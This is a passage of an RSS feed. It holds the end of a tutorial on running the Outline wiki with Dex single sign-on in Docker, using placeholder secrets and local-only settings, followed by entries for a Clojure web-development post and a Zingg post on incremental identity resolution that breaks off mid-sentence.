<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    c</span><span style="color: light-dark(#22863A, #8DDB8C);">ommand</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dex</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">serve</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/etc/dex/config.yaml</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> ]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">torage-data</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  d</span><span style="color: light-dark(#22863A, #8DDB8C);">atabase-data</span><span>:</span></span>
<span class="giallo-l"></span></code></pre>
<p>You’ll need to add the following env variables as well</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>NODE_ENV</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">n</span></span>
<span class="giallo-l"><span>SECRET_KEY</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">y</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">k</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">y</span></span>
<span class="giallo-l"><span>UTILS_SECRET</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">y</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">k</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">y</span></span>
<span class="giallo-l"><span>DATABASE_URL</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">g</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">@</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">g</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">e</span></span>
<span class="giallo-l"><span>PGSSLMODE</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">b</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">e</span></span>
<span class="giallo-l"><span>REDIS_URL</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">9</span></span>
<span class="giallo-l"><span>URL</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span>
<span class="giallo-l"><span>PORT</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span>
<span class="giallo-l"><span>FILE_STORAGE</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">l</span></span>
<span class="giallo-l"><span>FILE_STORAGE_LOCAL_ROOT_DIR</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">b</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">a</span></span>
<span class="giallo-l"><span>FILE_STORAGE_UPLOAD_MAX_SIZE</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span>
<span class="giallo-l"><span>OIDC_CLIENT_ID</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">e</span></span>
<span class="giallo-l"><span>OIDC_CLIENT_SECRET</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">t</span></span>
<span class="giallo-l"><span>OIDC_AUTH_URI</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">x</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">h</span></span>
<span class="giallo-l"><span>OIDC_TOKEN_URI</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">x</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">x</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">k</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">n</span></span>
<span class="giallo-l"><span>OIDC_USERINFO_URI</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">x</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">x</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);">o</span></span>
<span class="giallo-l"><span>OIDC_USERNAME_CLAIM</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">e</span></span>
<span class="giallo-l"><span>OIDC_DISPLAY_NAME</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">D</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">x</span></span>
<span class="giallo-l"><span>OIDC_SCOPES</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#6F42C1, #F69D50);"> profile</span><span style="color: light-dark(#032F62, #96D0FF);"> email</span></span>
<span class="giallo-l"><span>FORCE_HTTPS</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">e</span></span>
<span class="giallo-l"><span>ENABLE_UPDATES</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">e</span></span>
<span class="giallo-l"><span>WEB_CONCURRENCY</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">1</span></span>
<span class="giallo-l"><span>DEBUG</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">p</span></span>
<span class="giallo-l"><span>LOG_LEVEL</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);">o</span></span></code></pre>
<p>And finally, to configure Dex, we need the following config:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">i</span><span style="color: light-dark(#22863A, #8DDB8C);">ssuer</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> h</span><span style="color: light-dark(#032F62, #96D0FF);">ttp://localhost:5556/dex</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">torage</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> s</span><span style="color: light-dark(#032F62, #96D0FF);">qlite3</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">onfig</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    f</span><span style="color: light-dark(#22863A, #8DDB8C);">ile</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">var/dex/dex.db</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">w</span><span style="color: light-dark(#22863A, #8DDB8C);">eb</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  h</span><span style="color: light-dark(#22863A, #8DDB8C);">ttp</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> 0</span><span style="color: light-dark(#032F62, #96D0FF);">.0.0.0:5556</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">taticClients</span><span>:</span></span>
<span class="giallo-l"><span>  -</span><span style="color: light-dark(#22863A, #8DDB8C);"> i</span><span style="color: light-dark(#22863A, #8DDB8C);">d</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> o</span><span style="color: light-dark(#032F62, #96D0FF);">utline</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">edirectURIs</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">http://localhost:3000/auth/oidc.callback</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Outline</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    s</span><span style="color: light-dark(#22863A, #8DDB8C);">ecret</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> o</span><span style="color: light-dark(#032F62, #96D0FF);">utline-secret</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">o</span><span style="color: light-dark(#22863A, #8DDB8C);">auth2</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">kipApprovalScreen</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">e</span><span style="color: light-dark(#22863A, #8DDB8C);">nablePasswordDB</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">taticPasswords</span><span>:</span></span>
<span class="giallo-l"><span>  -</span><span style="color: light-dark(#22863A, #8DDB8C);"> e</span><span style="color: light-dark(#22863A, #8DDB8C);">mail</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">admin@example.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    h</span><span style="color: light-dark(#22863A, #8DDB8C);">ash</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">$2a$10$2b2cU8CPhOTaGrs1HRQuAueS7JTT5ZHsHSzYiFPm1leZck7Mc8T4W</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    u</span><span style="color: light-dark(#22863A, #8DDB8C);">sername</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">admin</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    u</span><span style="color: light-dark(#22863A, #8DDB8C);">serID</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">08a8684b-db88-4b73-90a9-3cd1661f5466</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p>Voilà! With <code>docker compose up</code>, you’ll have an Outline server ready to go. You can log in using the <code>admin</code> user.</p>
<p><img src="https://mrkaran.dev/images/outline-0.png" alt="image.png" /></p>
<p><img src="https://mrkaran.dev/images/outline-1.png" alt="image.png" /></p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Clojuring the web application stack: Meditation One]]></title>
            <link>https://www.evalapply.org/posts/clojure-web-app-from-scratch/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/clojure-web-app-from-scratch/index.html</guid>
            <pubDate>Sat, 24 Aug 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[In a land bereft of a canonical "killer app" web framework or two, one must think about the what, why, how, where of all the moving parts. Out here, one must become a student of web framework architecture in addition to web application architecture. For here, in Clojure-land, the two are one. ☯]]></description>
            <content:encoded><![CDATA[In a land bereft of a canonical "killer app" web framework or two, one must think about the what, why, how, where of all the moving parts. Out here, one must become a student of web framework architecture in addition to web application architecture. For here, in Clojure-land, the two are one. ☯]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>clojure</category>
            <category>web_development</category>
            <category>websites</category>
            <category>functional_programming</category>
            <category>software_design</category>
            <category>architecture</category>
            <category>howto</category>
            <category>whyto</category>
        </item>
        <item>
            <title><![CDATA[Zingg Incremental Flow]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/zingg-incremental-flow</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/zingg-incremental-flow</guid>
            <pubDate>Thu, 22 Aug 2024 17:20:16 GMT</pubDate>
            <description><![CDATA[because data changes, and the identity graph should keep up too!]]></description>
            <content:encoded><![CDATA[<p>As a startup founder and someone who actively follows companies doing interesting work, I often wonder about the levers behind a viable and thriving business. One thing that comes up repeatedly is<strong> Growth</strong>. </p><p>From the point of view of data teams in a fast growing business, what really does growth amount to? How does it manifest in the day to day data collection and processing? </p><p>If we dissect the key activities happening across businesses during the growth phase, there are a few commonalities that stand out. New customers get acquired at a fast pace. Existing customers buy more products and services. They also buy from additional channels, like a website, if they earlier only bought from the brick and mortar store. The business keeps in touch with existing customers and makes sure it has the ways and means to contact them with offers and product updates. Customers inform the business when they move or change jobs. Strategic mergers and acquisitons happen. Additional procurement of products and services happens to fuel the growth and new suppliers get onboarded. New product lines are introduced and additional customers onboarded. </p><p>Thus, data about core business entities - customers, suppliers, products and parts starts changing rapidly. New entity records get added, existing ones get updated. Some of the records are deleted.</p><p>A small detour before we go any further. In my last post, I discussed about the <a href="https://www.learningfromdata.zingg.ai/p/hello-zingg-id">cross reference and persistent ZINGG_ID</a>. Let us recap a bit. When we build our customer journeys, segment users and attribute acquisition to campaigns and channels, we need a consistent view of the customer data. We want to associate an identifier that inherently represents the entity. And we want to use this identifier in all our reporting and analytics, as well as operational systems. If a customer gets in touch with us at the call centre, we want to use the ZINGG_ID to get the context of their purchases and their relationship with us. </p><p>Coming back on the current topic. There is immense business value in having a <strong>persistent</strong> and <strong>continuously</strong> <strong>updated identity graph</strong> for each of the downstream usecases like marketing attribution, personalisation, life time value, fraud and risk. </p><p>However, as we saw earlier, in a growing business, records are no longer static. They are getting added and deleted and updated. So, how does all this change affect identity resolution? New records would start matching with existing ones. Updated records may start matching with other records they did not match with earlier. They may stop matching with records they matched up earlier. Hence clusters of resolved identities are evolving with the data. They are merging or splitting and new ones are created all the time. </p><p>Let us dig deeper how that looks by going over some examples.</p><p>In the following dataset, the records with ID<code> rec-1020-org-incr</code> and <code>rec-1023-org-incr</code> have been updated during business operations and continue to exhibit strong similarity with their original matches. Two new records with ID 